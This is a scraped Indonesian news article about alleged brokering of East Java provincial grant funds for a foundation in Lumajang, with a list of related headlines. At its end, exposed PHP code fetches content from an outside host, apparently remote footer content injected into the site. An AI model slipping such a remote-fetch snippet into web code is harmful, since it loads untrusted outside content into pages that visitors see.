Dugaan Makelar Proyek Anggaran Pemprov Jatim Mencuat di Lumajang

Kamis, 19 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

LUMAJANG – jejakkasus.info – Ditengah gencarnya Komisi Pemberantasan Korupsi (KPK) tangani kasus dugaan korupsi dana hibah di Jawa Timur, indikasi serupa terjadi, di wilayah Kecamatan Kedungjajang Kabupaten Lumajang Jawa Timur.

Mengaku sebagai orang kepercayaan, Muhammad Rifa’i warga Tempursari Kecamatan Kedungjajang Lumajang, lantang melontarkan kata ‘Proyek Terima Kunci’ di lingkungan lembaga/yayasan.

Konfirmasi semula berawal dari permasalahan alokasi dana bantuan rehabilitasi/pembangunan salahsatu yayasan di wilayah setempat, diduga pencairan berpindah ke lain tangan, lantas dipertanyakan.

Rifa’i mengiakan, jika pencairan berpindah. Ke rekening tim pengurus proposal pengajuan awal, kata dia bermaksud agar pihak yayasan (penerima -red) tak disibukkan oleh kepengurusan admistrasi dan lainnya.

Baca Juga:  Polwan Polresta Denpasar Gelar Kegiatan "Polwan Goes To School" di SMK Negeri 1 Denpasar Jelang Hari Jadi ke-76

“Karena ini komitmennya sudah terima kunci, memang niatan supaya lembaga tidak ruwet tidak riwa – riwi. Komitmen kita begini, supaya tidak meruwet, nanti tinggal bangun, nanti dapat bangunan, sesuai, kokoh, layak,” ucapnya pada media ini dikonfirmasi di kediamannya.

Ditanya kisaran alokasi dana yang dikucurkan, Rifa’i bergeming tak mengetahui. Mulanya ia mengelak ditanya adakah korelasi dengan salahsatu parpol, akan tetapi setelah berkomunikasi panjang, iapun mengakui ada.

Baca Juga:  Gudang Tertutup Dugaan 480 Tetes di Sumberwono, Kecamatan Bangsal, Belum ada tindakan dari Polres Mojokerto

Lebih jauh ditanya legalitas mendasari dirinya mengkoordinir alokasi bantuan dana Pemprov ke wilayah Kecamatan Kedungjajang, Rifa’i menjawab hanya sebatas dipercaya saja.

“Kalau saya bilang dapat, ini layak dan komitmen. Ya dapat,” ungkapnya.

Tak hanya cukup dirinya, Rifa’i mengatakan memiliki tim. Terafiliasi dengan oknum parpol inisal ‘A’ dapil setempat. Catatan media, oknum tersebut sempat maju pada pileg 2024 lalu, akan tetapi tak dipilih rakyat. Media ini berupaya mengklarifikasi Rabu kemarin, namun hingga berita ini ditayangkan, sepertinya enggan merespon. Hingga diundang secara tertulis, inisial ‘A’ tak menghadirinya.

Baca Juga:  Penyampaian Penjelasan Umum Rancangan KUA dan PPAS PAPBD Kota Gunungsitoli Tahun 2024

Situasi ini disesalkan lembaga yang notabenenya sebagai pengaju/penerima sebenarnya. Menurutnya ada indikasi ketidakwajaran dalam tahap pengajuan, hingga pencairan.

Terkini, Rifa’i menjelaskan, anggaran yang menjadi kontroversi itu, saat ini dalam tahapan pengembalian ke Pemprov Jatim. Kata Rifa’i, tak bisa kemudian dilakukan penggarapan yayasan mendasari pengajuan, lantaran ada permasalahan titik koordinat.

( Rep – RH )

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>